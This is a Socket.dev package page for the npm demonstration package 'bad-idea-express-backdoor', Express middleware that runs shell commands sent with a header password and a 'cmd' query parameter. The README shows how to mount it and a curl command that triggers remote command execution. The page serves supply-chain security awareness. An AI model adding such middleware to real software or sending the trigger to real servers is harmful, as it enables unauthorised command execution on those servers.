Socket
Socket
Sign inDemoInstall

bad-idea-express-backdoor

Package Overview
Dependencies
0
Maintainers
1
Versions
3
Alerts
File Explorer

Advanced tools

Install Socket

Detect and block malicious and high-risk dependencies

Install

    bad-idea-express-backdoor


Version published
Weekly downloads
1
Maintainers
1
Created
Weekly downloads
 

Readme

Source

bad-idea-express-backdoor

express middleware containing a backdoor

for demonstration purposes only

from the excellent Snyk blog post.

usage

const express = require("express")
const expressBackdoor = require("bad-idea-express-backdoor")

const app = express();

app.use(expressBackdoor())

app.get("/", (req, res)=>{
  res.send("Hello Chrome User!")
})

app.listen(8080)

try it

node example.js

in another terminal, send commands to the backdoor

$ curl -H 'knock_knock: p@ssw0rd1234' 'localhost:8080?cmd=uname%20-a'
{
  "err": null,
  "stdout": "Linux roon 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n",
  "stderr": ""
}%

FAQs

Last updated on 29 Mar 2020

Did you know?

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc